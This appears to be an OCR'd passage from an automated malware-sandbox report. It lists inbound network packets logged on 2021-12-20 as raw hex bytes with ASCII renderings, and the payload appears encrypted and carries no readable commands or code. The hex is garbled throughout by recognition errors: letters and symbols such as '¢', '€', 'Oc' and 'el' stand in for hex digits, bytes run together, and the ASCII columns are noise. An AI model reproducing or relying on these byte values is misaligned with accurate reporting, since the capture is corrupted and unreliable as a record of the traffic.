3290 db d8 e7 c9 77 7a4c 71 8d d3 37 41 1a 36 92 fc cd c1 3a 61 9a d9 7a 81 6e d9 8d 1e 82 a4 36 bd 5e 96 85 b4 bf 06
2516 8315 77 91 f3 fb 00 fe c8 d2 56 el c3 11 43 76 5f 71 87 9f ad 4f a7 ae 6e 9d Oc cd 23 4f 93 ae a0 ba f7 c8 e3 71 {7
29 d3 5d 79 00 00 b4 Oc de df 4c a8 50 71 1b 30 a3 db e5 13 81 7f 33 98 94 71 89 bf f9 c0 4d 55 94 b7 40 1e 6¢ {7 4c 5e
a2 04 f2 01 b4 76 6b 9f 2e 25 b7 10 74 5e e8 da 24 1b 8c 7e 43 a9 bc de 30 e4 7e 49 2a 81 8f c8 df a5 dc 2a 38 3d ca 8d
53 d8c519 e7 54 2e c1 73 6d ea ad f0 53 d8 99 4b d9 69 07 cf 23 a4 3b bd de 9f 6a ff 71 1f 13 f1 3a 77 5¢c 7f 09 55 3d 7d
3d 1b f8 61 7d 5a 01 db db a6 e6 b5 73 c2 f1 1e 81
Data Ascii: m)mG1 9XWEp\VQ2wzLq7A6:azn6”%wVCv_qOn#0q)]yLPq03qMU@ILAVk.%t"$~CO~I1**8=ST.smSKi#;jq:w\U=
}=a}zs

2021-12-20 13:26:00 UTC 113 IN Data Raw: 9a 5d 5f 81 3d 79 16 9f f0 e1 70 69 74 e5 96 9d 91 db c1 f4 Oc 4d 8b 75 93 92 a3 16 2e 9a €9 cf 99 d1 44 02 96
ac 4cc4 72 38 e3 6d 09 c2 7f ef a4 03 5¢ 9d b9 43 c5 b5 66 5f eb 96 84 22 2d 67 24 c4 e8 74 89 b7 2f e2 c6 97 04 71 af
93 82 a5 01 3f 83 6d 56 5d c9 bf 46 68 a2 96 de Ob 4c 85 4c e5 73 5d 42 96 9d aa 64 e7 4b 10 5f Oe 41 ee fc 0f 72 db 7e
94 ad Oe 86 8c 52 45 78 30 3a cf 8e Oe 4b 4d 85 f9 22 30 2f b3 29 ed d6 3e 9f 5¢ da d8 19 e4 7b 5e 35 7d c5 2a 0f 27 a0
d5 19 3d 7e 6a 3c 5a de 4a a5 ce 40 c1 8d 50 dc 54 19 69 dd Of 11 4c 74 5b 1d f7 47 ad 00 Oe a4 d9 51 f6 45 a0 98 ad 59
9d 5a b3 27 05 a7 db 6a 05 86 27 aa f2 7a c4 ed a3 df 78 c5 5d 4a 25 88 6¢ 03 e5 93 a0 e3 e7 b3 ac 9e al 97 25 3d 05 86
88 78 60 b7 2f 79 fe 50 c5 51 ec 01 cd 89 d5 dO 48 b6
Data Ascii: |_=ypitMu.DLr8m\Cf_"-g$t/q?mV]FhLLs]BdK_Ar~REX0:KM"0/)>\{"5}*'=~j<ZJ@PTIL{{GQEYZ'|'zx]J%
1%=x"lyPQH

2021-12-20 13:26:00 UTC 114 IN Data Raw: bc eb f0 c8 c1 18 89 22 45 93 f5 a6 25 d8 1c bc 3b c3 f6 62 42 6f 60 78 88 76 45 89 41 9c 34 5e b8 70 be af dO
14 29 8f 66 16 2a 32 96 bc 51 a0 60 8 4e 2e 9e 52 3 2b 83 12 0a d7 9d 7a eb fc d5 4a 88 dO 98 86 4b c8 33 9e 70 0d 88
2c 0a a6 97 15 25 d4 6¢ ee 76 fb c6 96 41 16 c7 1b al ed ff a3 0d e8 37 5¢ 1d 8b 62 ca 2d 7d 61 5a e2 91 8f 1b cb c9 e3
bb 77 3a e5 12 ca f1 8f a0 58 92 d6 92 f1 64 31 9b 0a 98 9b 96 €7 4a 43 ce a7 97 el 21 a8 9d 12 58 9¢ b9 a3 65 27 9b ab
a7 e8f5 d1 94 1a a7 ed e2 ee cf 98 05 7b b0 a5 5d 8f 13 df e2 d8 3a 05 97 3e e0 62 35 4f 3a 93 Oc 01 de al de 12 ef a3
1a 71 bb 69 62 ef 73 86 a7 d6 da 22 34 94 fe 63 1e 8c 98 53 78 {8 fb 8f 53 99 24 67 93 b3 e4 c¢5 4c 39 0f fc be 7b bec 47 77
50 d8 b5 5e 12 04 ff 32 66 f1 31 25 b1 cf 82 b1 d8
Data Ascii: "E%;bBo xVEA4"p)f*2Q N.R+zJK3p,%IVA7\b-}aZw:Xd1JC!Xe'{]:>b50:qibs"4cSxS$gL{GwP"2f1%

2021-12-20 13:26:00 UTC 115 IN Data Raw: d2 2c 62 c0 99 e8 b9 5c¢ fa 22 5e fe 8f 3c ed 25 8a 85 8b 72 a0 11 b0 76 69 3e 3f a9 f1 09 8f 22 d4 04 91 le aa
€632 18d2c9 31 1c 72 09 05 8d 47 f2 49 53 64 €9 8c ec 0f 89 39 88 ae fb 1b 15 fa 82 d0 24 c5 fb €6 39 7c 3d 02 50 5b
9d 44 77 71 e4 6a 92 9d ac ce c0 bd 2e 92 1e c1 71 86 be d5 4d 66 f5 9a f8 e6 13 c8 16 f0 37 62 3a 41 d3 cb e7 47 8d 4f
14 8b 08 5d 9a e7 b8 e1 03 28 7d dd 77 5a 90 35 Oa df 50 20 6e Ob b6 40 d4 9a fd 67 18 09 b6 1e 66 e7 24 3f 51 fb 78 fb
4f d6 90 12 80 eb 88 b4 a9 eb 5d 44 e5 22 24 74 c2 45 eb 5b ef 1b 81 b6 41 32 49 fe 8f 5a d7 1e ab 32 a9 09 f4 e4 6d 11
5e 50 20 56 02 08 a5 1b c0 57 fb 2e fc c4 b7 38 6b 2b 85 6a fd bf c2 82 a8 03 0d 98 e5 b5 1f 84 4c c7 6a 99 a6 89 ae 02
08 12 3e 23 0a 52 53 9e 6d 6d de 6a 6a 3b b3 dO fd e7
Data Ascii: ,b\"A<%rvi>?"21rGISd9$9|=P[Dwqj.qMf7b:AGO](JwZ5P n@gf$?QxO]D"$tE[A21Z2m P VW.8K-+Lj>#RSmmij;

2021-12-20 13:26:00 UTC 117 IN Data Raw: 37 db 3c af b7 f2 fc d3 9e 57 87 02 88 7a 8d 28 ed 87 99 48 77 d8 c9 56 70 6b ee cf 5f a4 d4 eb 9d 70 9b ff 97
7f 68 90 5e 36 4a 0d fa d4 1f bb 03 d1 50 ae 79 1b 74 c5 c1 05 d9 bc 76 2b c6 ae ff b3 5b 44 5a e2 90 dc 91 5d 23 bl 7e
dd 6a 99 12 47 42 55 1f de 6e 62 a9 fO 8 21 c5 4d ff 78 69 dO 1d f4 1f ¢3 Oc 92 c2 29 13 99 3e 1f ed c1 68 5¢c a7 be 83 8¢
52 0f f6 18 07 41 a3 7f ab b2 7a 77 12 b1 a0 48 55 5d Ob 11 76 1e 17 08 7b 1b f5 67 22 ff bf 14 1f a5 d9 74 92 ce f6 10 ce
af 39 ¢4 f4 22 c0 6a ed d3 c3 d4 68 a4 ef b1 f2 18 9e 87 ff 0d 01 08 a6 ca 1c b3 2b 7d bc 7a ec 7a 26 93 83 Oe 15 3b 7d 1c
1b 09 67 bc c6 80 7f c4 ed 6a 01 3c a4 43 e0 34 f0 51 ¢6 30 b0 1c 88 3a ca f9 7b 9c 84 89 10 32 49 89 01 73 94 11 93 39
61 fe 66 2e 8b 2b 8c d6 dO bf 44 e2 18 f5 3a
Data Ascii: 7<Wz(HwVpk_ph”6JPytv+[DZ]#~jGBUnb!Mxi)>h\RAzZWHU]V{g"t9"jh+}zz&;}gj<C4Q0:{2Is9af.+D:

2021-12-20 13:26:00 UTC 118 IN Data Raw: 18 b8 19 20 6d 0f 37 43 ab 31 c4 7d 14 d5 03 b3 4d 7d 47 16 f2 f4 fc 30 fc 6d f2 28 eb fd d4 3c f1 86 b4 c1 fb 05
b1 00 fb a6 91 22 ff d2 3b b2 c1 bb c9 67 47 79 68 al 9e 54 2c b0 88 7e 6d 82 c8 f3 82 d8 08 2b 6f 1e 13 f3 20 0f d9 4d 29
07 7e ca 61 ae d5 ea db b7 c4 e3 28 a7 c2 65 dc 4b 86 70 5f 4d 92 19 88 32 88 0d d7 cf 06 42 81 6a 69 d3 c4 04 c4 71 10
85 9e 98 bf 5¢ a6 f4 3e d3 ce 9e 09 27 4d Oe 1f d5 2a 1f 46 19 39 9e 7c 17 ee b6 55 d1 c5 35 89 37 86 9d 64 72 05 95 60
72 €991 93 18 30 33 da ab a0 bc 75 78 6f 8d 3c bf 7c 18 d6 e2 28 32 e5 4b eb de 09 12 53 ad fa da c3 9c ea b2 29 79 f2
6b 08 09 3c 48 f6 cO 21 7f 65 5b 66 20 02 58 34 f8 el 6¢ 17 dd bb d8 50 64 d5 25 5d 45 86 ff 8d ad 99 62 d1 f1 34 8b bb
56 e8 92 8d d9 e8 39 71 5f 40 f4 af 4d 53 42 ba
Data Ascii: m7C1}M}GOm(<";gGyhT,~m+o M)~a(eKp_M2Bjig\>'M*F9|U57dr r03uxo<|(2KS)yk<H!e[f X4IPd%]Eb4V
99_@MSB

2021-12-20 13:26:00 UTC 119 IN Data Raw: ec ef 59 a2 8b 29 5d c4 6b 31 45 da b2 17 56 c7 9e c6 2b 17 27 Ob 3a 92 97 b8 02 90 ee 31 86 54 54 5e c0 e6
b2 5 40 47 98 f4 47 €9 41 3c 6f 1d 35 d1 17 5a 93 cd d0 02 8c 9b a2 35 34 ac 94 50 b1l cf 4d ec 52 a9 10 84 1b 65 95 ef f1
8b b6 76 08 34 9e f4 Oc e0 c6 7e 02 77 4f e6 0a 72 33 a7 97 ¢9 7d 01 8c 20 23 de c8 ed 54 b5 c0 ¢3 c2 9a 4e f0 6d f8 a7
98 fd b3 1e cd e2 73 6e 18 e8 34 f8 51 ed 2c 96 b2 82 82 de 37 92 66 d1 fO Of 64 1a 02 a2 49 2d 35 58 bf 4b ca af ad 61 d7
77 be 6d b8 09 97 ba fe 1a ba a7 05 3e 39 a7 4c ad 85 27 80 41 67 2f 77 62 38 cb 71 5a 35 €9 a4 2d 53 3d 90 aa 49 f5 Of
69 18 9c 93 al 03 7c d8 87 4f 98 3a c0 27 92 57 45 09 f4 53 35 9e 69 65 f5 95 b8 8c 86 40 ca 54 8e 61 16 71 85 ec 1d 63
€7 57 46 b6 11 60 e2 08 41 3f d7 6d 2b e6 de 01 8e
Data Ascii: Y)]k1EV+:1TT"@GGA<05Z54PMRev4~wOr3} #TNmsn4Q, 7fdl-5XKawm>9L'Ag/wh8qZ5-S=I1i|O:'WES5ie@Ta
qcWF A?m+
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 120 IN Data Raw: 96 a7 f1 cc c2 b5 06 a9 be 68 a2 ff 50 cb f7 c4 66 4d 53 fa 92 8f 8c 64 7f 7a a7 d3 ce 5b 81 6a 89 99 78 ae 56
11 95 3d 55 a3 10 b0 1c a4 6f 03 7e cc e7 b0 74 2a 5¢ fa d8 30 81 05 82 15 0f 7c 01 a7 20 5¢c a9 70 3f 8d 91 bc 18 1a 9¢
14 16 7b bb bb 52 af c0 Oc ed 2a ea €9 50 03 77 2c 42 b8 1c e8 8e a8 b5 c8 0d ee 8a 1b ca 92 a9 ce 5b 9f b3 05 d7 a9 f3
30 de 01 1d ef 92 94 3b 8d a4 76 61 4b 8e dc 40 fa bf 08 ff 87 1b 5f f4 6a 4c al c2 38 aa fb bd 08 ca aa 5f 10 c1 c9 a9 d8
3791 ed el 87 8f 70 1e 33 18 cf c2 e4 9c c2 12 0a 79 db 56 bf 43 eb 2d ce e3 6d 9c 54 b4 c8 28 77 49 90 3d ef 41 f6 €9
cd 44 fd 16 be a4 17 cb 6a 12 b8 d1 89 b3 c6 69 f0 01 db 60 71 a2 ad b0 16 3b 5e 68 c1 14 cf 8e 0d ac 96 8d 05 ff 61 b8
a9 56 5b 2c f2 36 ab 44 6e 4b 7f a9 71 08 90 df c5
Data Ascii: hPfMSdz[jxV=Uo~t*\0| \p?{R*Pw,B[0;vaK@_jL8_7p3yVC-mT(wI=ADji'q;"haV[,6DnKq

2021-12-20 13:26:00 UTC 122 IN Data Raw: 82 3b 19 9e 15 8e f7 c5 Oe 78 12 {3 4c f9 72 05 57 ¢3 6f 50 9b 27 5a f7 21 8e 8e 44 df 3d c5 4f 2f 94 75 1a b8
b1 b9 c3 fc 1f 06 44 57 88 5a 5f 0d 76 4a 65 85 ca 3d 97 d4 2d e3 be 88 7f 59 84 50 d9 28 16 9d 77 0b 65 6f bl ae f2 Of b4
7e 1d 9d b9 e3 3e a8 76 5a a7 eb 01 1b 88 4f 84 85 cc a5 82 1b 2f f6 df 2d c0 36 67 65 c7 4a de 7d 58 b7 38 79 0d 1b ad
01 8c 7d 06 49 0d 80 e7 85 3c af 63 a7 45 fe 11 Oc 18 al 3c 8b 26 b2 8c 64 d2 bc f1 a3 39 8e de d2 36 22 el f2 76 65 70
9f 8314 98 b3 7353 70 7a 69 f9 7b f6 72 d5 1a 1d 23 37 1b 38 9f 6d ff 89 2b 09 93 €9 Oe 97 e4 53 62 c3 6a 77 bb 4d ec
bd 8d 82 23 0a f5 c0 06 7c d4 Ob f2 18 d0 51 3c fc d7 78 c9 33 9a 91 3e b6 1a 54 9a ae 82 46 3f 6f 07 7a 62 4b 70 le e3
2d fb 26 fa 2c 54 f7 51 65 43 8f 48 d6 62 7a 8d b3
Data Ascii: ;xLrWoP'Z!D=0O/uDWZ_vJe=-YP(weo~>vZ0/-6geJ}X8y}|<CE<&d96"vepsSpzi{r#78m+ShjwM#|Q<x3>TF?0z
bKp-&,TQeCHbz

2021-12-20 13:26:00 UTC 123 IN Data Raw: 8d 68 1a a8 86 2d b6 5d 00 7c c8 26 c0 5b 5a al 2a fa 91 85 af f1 98 ba ed 39 65 9d 25 1a 44 c9 4e 17 f8 1d
61 d7 87 43 86 46 Oc 46 Ob ee 8b b6 f8 08 71 36 9c 4f 04 4f 64 9d 5e 91 08 2c f4 24 48 d1 84 29 db 3f 7a 29 39 34 40 32
66 92 28 95 84 76 89 ba ed dd 00 f6 a5 6a fb 65 7b €0 66 c8 b3 07 a3 c7 4f 1f 31 77 5f d2 8e 4a 12 ff 78 el 7f 71 ed 4f 1c
4f bb 7b c¢1 19 40 e5 26 ec 9b c1 14 fd 0a 06 7a ff 98 a2 f8 78 d6 80 68 8d ea 56 73 42 c3 7e 80 b0 6¢ 68 5e d8 f4 Oc 9d
5d 63 Ob 74 9d 41 58 2d 26 €0 1le 03 8a 16 de 1f fe bb 03 37 5a 74 c5 4f b7 9e 12 c3 1e 99 b8 ee 58 88 e8 12 94 0Oa 3c 8a
c7 1c d3 d7 b2 09 a0 a9 9f 2¢c 8b 68 be 9a ad ad 70 6e 8e 7c dd 8a 87 94 ee 8f 3b 84 42 e6 ff c6 4e d8 39 48 54 07 85 al
03 14 ec fc 29 €9 91 f7 ae a5 96 e2 0d 8b 99 03 22 ae
Data Ascii: h-]|&[Z*9e%DNaCFFg600d",$H)?2)94@2f(vje{fO1lw_JIxqOO{@&zxhVsB~Ih"|ctAX-&7ZtOX<,hpn|;BNOHT)"

2021-12-20 13:26:00 UTC 124 IN Data Raw: b8 58 3c ac eb 8a 44 47 1d d6 8e 3c 81 9a d1 60 98 37 2c cb 87 23 bd b9 79 53 a2 98 d3 80 65 4d a0 f1 6d a6
58 a0 Oc 73 33 4e a8 ch e7 c3 Ob 78 66 9a bd ed 10 9d 3d 95 4e 12 ¢5 78 7b a2 ¢4 61 30 91 Oc f9 43 55 a3 6e 78 Oa bf ea
45 35 de b4 08 c5 49 c8 3e a5 0b ee 49 Oc 44 b0 47 7a f2 ee cb €0 59 6f dc cd ba ae 98 41 63 63 1e f0 37 1c 63 3fal 79
€9 29 41 6b d9 d8 5f 62 66 69 5f 0a b7 cb el 77 32 5b 62 94 b0 9c 9 c9 f1 13 68 07 31 86 4e 5a 3a 18 cd 45 cd 36 9c 59
3068 fb 96 7c f7 2f 46 1e 88 5d 2f 91 13 a8 d7 Ob 2c 09 55 f4 98 e5 66 7c cf 18 04 6f 98 bd ce ad 1f d9 f9 12 69 bb 97 dO
01 09 db 2b 2c 81 3c ec 5e 2e 82 36 Oc e5 a9 5¢ 16 c4 fd 07 02 e0 82 ba d6 al 66 96 10 ad 4d ab 28 61 f6 b4 81 e4 e9 df
f2 24 ¢3 65 75 5d 51 70 43 bd 2e 3f c5 af 09 ff a0 91
Data Ascii: X<DG<'7,#ySeMmXs3Nxf=Nx{a0CUnxE5I>IDGzYoAcc7c?y)Ak_bfi_w2[bh1NZ:E6YOh|/F]/,Uf|oi+,<".6\f
M(a$eu]QpC.?

2021-12-20 13:26:00 UTC 125 IN Data Raw: 41 f0 c4 f0 1f dc 3 fa 28 58 9b 53 77 b7 fc 0a 37 18 ec 26 3f 97 cf 17 e0 1d fa ee 6a d0 6a b9 f1 eb c9 30 18 Ob
9e dc 17 b5 fc d1 9b f4 8b a2 8f 75 4e b5 fb 09 61 fa a3 b3 00 d5 b1 de 86 6e 6e a7 25 63 98 aa ed c8 51 Oc 66 83 fe ac 65
86 ad 43 21 6f 94 4a 35 5d be a3 4c f5 cb ¢7 ad 1f c9 da 4b 04 29 17 8a f2 9b b2 b9 fd 32 09 87 aa 74 1f 24 dd b7 71 9d
ce 8f 4d c0 31 10 a1 37 82 40 c9 d8 cb 80 9a 64 86 2a 26 96 d1 a4 ba 06 ad c9 6b 94 86 3a 27 €0 1e Oc ca b5 97 45 83 30
0Oa 1d 38 fc c5 0f a0 9f 64 87 4c ac 30 22 43 7e 2e 30 1a 01 0d 1a 75 fO 4b 73 3e 9e 58 89 8b fb 97 cd bc 4f f7 59 e2 8¢ 40
6 5e d1 al 49 b1 b4 35 5e 64 93 6d d8 28 09 26 08 ee 6a 21 24 fa d4 1f 17 53 a5 55 6a be 11 58 9c a2 6d af b7 8e 2c 4e
€3 82 60 39 20 df ab a4 4f b7 5a el 54 3c 03
Data Ascii: A(XSw7&?jjouNann%cQfeC!oJ5]LK)2t$qM17 @d*&k:'E08dLO"C~.0uKs>XOY @15 dm(&j!$SUjXm,N*9 OZT<

2021-12-20 13:26:00 UTC 127 IN Data Raw: 76 fb dc e9 fa 15 c2 f6 54 d3 eb 7c c9 e8 bd 24 46 74 4f 83 66 dd f9 29 a5 c1 e5 b1 51 b0 33 f5 de ac 61 09 a8
56 4d 1b b7 ad d6 b7 f0 Od d8 f0 94 02 66 39 92 b9 a0 97 bb ef de 13 a2 9e 7 08 24 e3 1d ba 59 8b a0 d2 9b d3 90 c2 d1
b0 f8 00 c5 ba de 9c 66 b3 30 4f 7b 8 cd 9f 6f bb 47 9b 1d 1b 19 97 28 04 d3 3a df 8d ef 1a e8 db f4 19 e3 19 07 38 €8 50
50 94 2e 4e 39 50 al 74 01 67 4e e8 b8 06 fb bf 1a 99 e2 32 3c 3f 85 61 8f 1e 04 6f 7f a5 58 1f €5 df 20 Ob d2 05 c5 d2 a4
04 14 14 cf 2f 0 c8 f8 cb 7e ¢3 9c 35 6d 18 d3 29 6d Of 12 bb 01 Oe a3 34 1b af 37 a3 91 73 2e 37 99 10 8b b0 1e ca 30
22 e3 6f a0 87 d7 b7 7f 29 1c 4f a5 4d 98 19 db 44 03 d9 2d 8e 80 75 79 bc 23 8e 8f 15 44 8¢ 72 62 11 39 bf 95 92 03 c3
2059 1d 1a dd cc 2c 15 98 ad 03 dO 5f a4 2f 73
Data Ascii: VT|$FtOf)Q3aVMf9$YfOO{oG(:8PP.N9PtgN2<?aoX /~5m)m47s.70"0)OMD-uy#Drb9 Y, _/s

2021-12-20 13:26:00 UTC 128 IN Data Raw: 63 2c f6 7a aa 50 d8 95 bd ac a2 b3 d1 62 c7 91 d6 82 09 1d 24 af 0d 22 43 67 8a a2 26 73 df c9 b3 Ob 71 c2
4d 95 f3 a9 b8 68 fe 07 4b 9 dd cO 1c 4f e3 62 b7 f7 7b 97 9c 54 d1 f7 aa a9 20 7f 31 5b 1b 10 13 3f b5 d7 be 26 77 da ea
cd b2 ad 79 53 53 82 8b e2 15 8f 9a 17 84 78 be bf €0 b6 ea a5 fb cd 80 66 98 8f b6 ee c2 c9 00 06 b0 f6 68 b3 70 34 07
97 f4 05 57 b5 87 68 d9 2a b1 66 55 7d 16 13 f6 59 95 1b cb 16 be e0 b2 8f 15 ac 3f ae b4 87 0d d2 6f 50 4e ae d3 78 39
1e 85 34 ce 87 65 24 66 9f 8b 0a 2d 10 0 0d 8a 90 dd 71 4d 07 c7 db 74 de 8 c3 59 7d a7 ed 01 ee 27 11 75 3a ef c2 21
b8 f1 6d a0 57 eb 0d 99 73 33 44 78 ae 8c 86 84 28 f5 €9 79 b9 52 d5 07 93 3 d9 2d 47 f0 26 8e c3 fb a7 69 7a 76 b9 91
54 08 7e a0 91 d1 cd a6 b8 d1 60 55 45 5d 0d d7 4f 3¢
Data Ascii: ¢,zPb$"Cg&sqMhKOb{T 1[2&wySSxthp4dWh*U}Y20PNx94e$f-gMtY}u:ImWs3Dx(yR-G&izvT~ UE]O<

2021-12-20 13:26:00 UTC 129 IN Data Raw: 87 04 9a 88 07 5b 9d e4 a2 c9 fd fb e5 da 98 30 08 cb dc 99 96 70 20 3f b0 83 88 9b d2 ec d1 b8 47 33 d7 c8
b8 d9 93 1d Oc ce Of ba 5d a5 cd b4 26 fc bb 81 a5 20 31 b5 73 ¢1 98 31 fa e4 81 c0 62 d7 22 0d 69 c4 7f 4b bb 12 7d 13
6e 73 2e 5e bc a6 76 5e b2 e5 eb c7 20 91 8c 8f b4 f4 de 5b 79 62 98 69 97 94 97 8b 66 54 d6 dc ab 58 5d 7 93 41 10 1f
6c el 43 cd 6f 91 de a0 30 35 2e 13 {7 fb fO fO 75 97 bc 6¢ €5 ca 6b 3c 09 e7 Oc Oe 28 03 b2 15 62 dc da 7e b0 2b 50 fc 3e
73 73 72 1d fe 6a ee a2 f0 bc 1f eb 38 27 8e e4 fb d3 87 26 15 6f 78 ab ¢5 59 95 db 56 d6 1f e4 78 da 9d ef 09 d0 61 7b 55
af 5b ac ef 78 d4 ba aa 47 e2 57 49 b4 fa 24 2b af 7e 55 df 71 24 6d fe c7 1d Oe 68 53 70 36 dO 4f 4d f2 dd 2a e3 20 29 65
50 54 c6 €3 62 36 €7 b1 64 b4 ad 11 2f 13 5e 6¢
Data Ascii: [Op ?G3]& 1s1b"iK}ns. v [ybif TX]AIC005.ulk<(b~+P>ssrj8'&oxYVxa{U[xGWI$+~Ug$mhSp6OM* )ePTh6d/"

2021-12-20 13:26:00 UTC 131 IN Data Raw: bc 07 50 e7 a8 55 le al 62 51 d1 f6 63 38 Oa ce 5¢ 85 fe 06 1b f5 00 8f c2 23 28 79 7d a5 74 cd d7 3f 2f 80 of
4a 54 05 0d 6d df 18 d6 d1 7c Oe ed b4 a2 46 da c4 f7 46 63 b8 03 7e 1b c6 83 6d 1b 8f f3 17 d2 4f ef 2d c8 e8 26 18 e9 OC
af f4 2d d6 84 8 9d 56 7b 4f 96 4f b9 15 86 82 b6 17 Oe ea 44 3b 58 ff 1f 8b a4 fb 08 ¢8 7d 78 61 d5 1b fO 91 dO 05 5f 58
29 92 fd 67 cc 8c ¢4 14 al 9c 1d 77 de 2b 7 8e 96 7c 34 2d 5b 5 cO a6 44 48 e6 72 9f 37 73 f9 04 9e d7 d4 fd b6 51 10 1e
2b 36 le f6 84 87 73 26 50 a8 7d f3 62 b6 c1 71 6e cf f1 91 b5 77 3a 1c 17 41 9a 3f 27 e6 ac bl b6 4d fd 79 al 5a 4e b8
52 0e 01 b4 98 ca Ob 2f 3f e3 d6 3e 73 6d 9c 68 5d e2 8e 4e 20 70 83 95 a6 8¢ 34 52 2f 10 73 2d b8 ba b6 00 06 c2 6b ad
ac b0 e8 4b af 06 f0 07 ed 86 €9 b6 b7 2a f7
Data Ascii: PUbQc8\#(y}t?/JTm|FFc~mO-&-V{OOD;X}xa_X)gw+|4-[DHr7sQ+6s&P}bgnw:A?'MyZNR/?>smh]N p4R/s-kK*

2021-12-20 13:26:00 UTC 132 IN Data Raw: f2 45 ¢5 f7 22 6d 92 37 23 f6 fO 28 df 59 82 54 69 5e 17 5¢ 25 fa 33 41 fe d6 87 90 7b cd 73 70 38 a7 5d 64 36
95 01 83 1c e5 da Oe 1d fc a8 81 6f da 54 fc 72 cd ch ee 80 94 82 33 8e fe 97 32 35 f5 el bb 96 65 bc bf 9b 87 4f 8a €3 79
Oa fc 8e 14 28 99 11 9e 46 a0 da 6d Ob 2e 44 a4 af 51 5b 43 7d f8 4d 96 de 99 77 d8 c8 87 95 50 bf 60 47 8¢ a2 03 13 69
1d 9d a9 40 eb 18 a9 ac b0 77 d0 4a 8c a3 0a 50 0f 8c 5d 53 Ob 2e 91 fd 95 bc 1b f1 b9 1d bf Ob 09 a6 44 8e 87 dd 8c b9
18 8¢ f9 05 04 b5 57 96 aa b4 0d 3f 26 c3 ¢7 96 74 f4 d5 79 Oa 1b 5a Ob db be 1c 9c aa d4 2a 35 db 9e 8c Ob 43 e5 cf 93
ad 33 12 56 cf 6d 8f a4 51 af 8d 2c 1c b5 d6 1e f9 54 6a 61 ce 6d 5b ca 55 31 d4 3d 33 e9 ea 12 73 7f 2a 41 b6 f1 f3 73 72
35 33 ¢8 fd cO cc 4c 58 3d 14 50 2f 7f 74 b3 6¢
Data Ascii: E'm7#(YTiN%3A{sp8]d60Tr325e0y(Fm.DQ[CIMWP Gi@wJP]S.DW?&tyZ*5C3VmQ, Tjam[U1=3s*Asr53LX=P/t|
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 133 IN Data Raw: 87 13 20 9a 97 be 1c ae 64 b5 96 69 16 48 24 53 6d 34 60 9c 5a Oe €8 98 8d 0d 03 f9 a7 89 18 a2 75 5f 7f eb
df f1 84 25 fO ee eb a4 d0 37 ec d6 Ob 1d 71 af ab 1f fa 8d f1 60 57 54 47 5a 71 72 a0 90 36 7b 4e dd 50 04 68 f9 29 ac de
bc 8b ce 13 08 39 3c 3c e5 14 81 1f f2 €9 a2 1a f6 45 c4 07 74 b6 3d 93 78 b8 94 ff a8 4a 07 a4 7f Oe e3 d4 68 91 eb 94
60 2b 52 16 f3 c2 e8 70 3e 02 b5 €3 01 5b d1 49 25 52 21 60 d5 7a ca de db 5e 02 d9 f0 91 49 b1 92 c3 62 d2 3e be 18 4d
7090 52 3e 18 09 81 62 01 44 d9 b7 86 Oe a0 63 19 81 ac 8a 38 a2 cf 38 7b 5b 80 b0 e0 a9 9f 33 df 69 70 de e5 67 7b 93
2ae3 ebch8a0581ad97 16 27 3f 71 75 b4 e6 25 Oc al 50 83 28 b8 9f 49 ca 1d db b1 7c 57 26 14 77 b6 3a 68 ca 88 36
47 3e de 05 26 36 76 a0 d7 c7 b2 bd ba 61 80 de 33 76
Data Ascii: diH$Sm4 Zu_%7q WTGZqr6{NPh)9<<Et=xJh +Rp>[1%R! 2" Ib>MpR>bDc88{[3ipg{*' ?qu%P(I|W&w:h6G>&
6va3v

2021-12-20 13:26:00 UTC 134 IN Data Raw: a6 ¢3 b5 25 dc a8 10 6d 20 7b 28 d6 b5 b7 80 98 f0 a5 2f aa 19 e5 29 de eb ec dd be 97 26 0d 9a 29 63 33 66
f9 ¢5 19 89 08 63 a0 48 34 c1 1e c3 bf 8a 4a cd 63 ba 02 b6 b7 26 d3 76 b9 52 44 98 5e 31 c5 4c 20 d6 a7 18 ce ca dc a3
33c28bc6 3563 8aar 2e 90 22 7c b9 ae 7f 23 71 63 68 fc bb 16 53 30 ce a3 87 5a 4d 7a Ob b8 cb 37 b1 6b Oc 6f 98 el
2377 f0 f1 12 ab d2 d4 99 9c d7 63 67 da e3 Ob a7 70 8f ec 12 90 7f f6 6a da f3 3d 2f 6b c1 c0 5f 63 97 aa e3 df 14 da 07
18 54 15 b0 6d b9 0a 8b 71 a7 f8 96 63 20 32 5e b2 81 b6 00 d9 80 52 17 0a 78 20 al 88 8c 3a 39 86 b9 53 c9 5b bd 20
90 ec 7f ¢8 f2 70 b0 ec fa 5d 4d 90 64 ee 77 d9 Of bc ab 93 87 76 c8 af fd dd 23 00 42 90 fa 4¢c 04 73 99 bl ed 52 3d b5 ca
0d fb 87 71 0b ef 51 b1 cc el 3d cb 04 be 55 28 b5 a8
Data Ascii: %m {(/)&)c3fcH4Jc&RD" 1L 35c."[#qchS0ZMz7ko#wegpj=/k_cTmaqc 2"Rx :9S[ p]Mdwv#BLsR=qQ=U(

2021-12-20 13:26:00 UTC 136 IN Data Raw: ee d4 4b ea c7 7d a2 Ob 2a Oe bd c¢3 1c 17 ac 81 47 2f fc 19 37 9c 12 d9 bf 3d 9e 6e 02 95 e7 a3 72 fc 68 5d 22
72 8a d0 dO 6e c5 5f 52 04 2¢ 63 b5 1c 3d ae 14 da 90 21 58 b1 48 cb 51 bb 2d f4 a7 52 78 1f 7d d5 3c 16 8f 0 21 8e 66
d6 ed ce 57 3f e7 98 6¢ 00 cc 3f e2 bf ¢1 95 c7 de c6 9d d8 ee 37 dc 47 b7 ef 34 a7 8b dO 8e da 7a 57 ac 1a b6 f8 3b b9 dc
ca 5e fl c1 d8 cf 83 4e 0f d6 d8 a3 1f 26 05 80 79 71 47 ed 71 43 07 c9 ca d4 28 4a 2f 2d 34 d7 7c ab 8b 51 d9 1a 54 ef
e2al3f4cl792706d6cl a7 ffc3 ef85d7 77 7f eb 9c b9 8c el 04 19 8b c4 9b e 3e ff 2a 72 5a fb c1 96 7b d4 8 3c a5
97 37 cO b3 08 2b ad a6 53 e2 9f ea f8 6e 71 fd c5 b7 9e a9 70 7e 11 4e 12 99 a9 75 ef e4 83 3c 21 93 fe 02 89 ad 23 22
5a ea b3 6f 73 43 61 27 0d 3d 8f 6e b2 3f Of 37
Data Ascii: K}*G/7=nrh]"rn_R,c=IXHQ-Rx}<!fW?I?7G4zW;"N&yqGqC(J/-4|QTy'w>*rZ{<7+Sngp~Nu<!#"ZosCa'=n?7

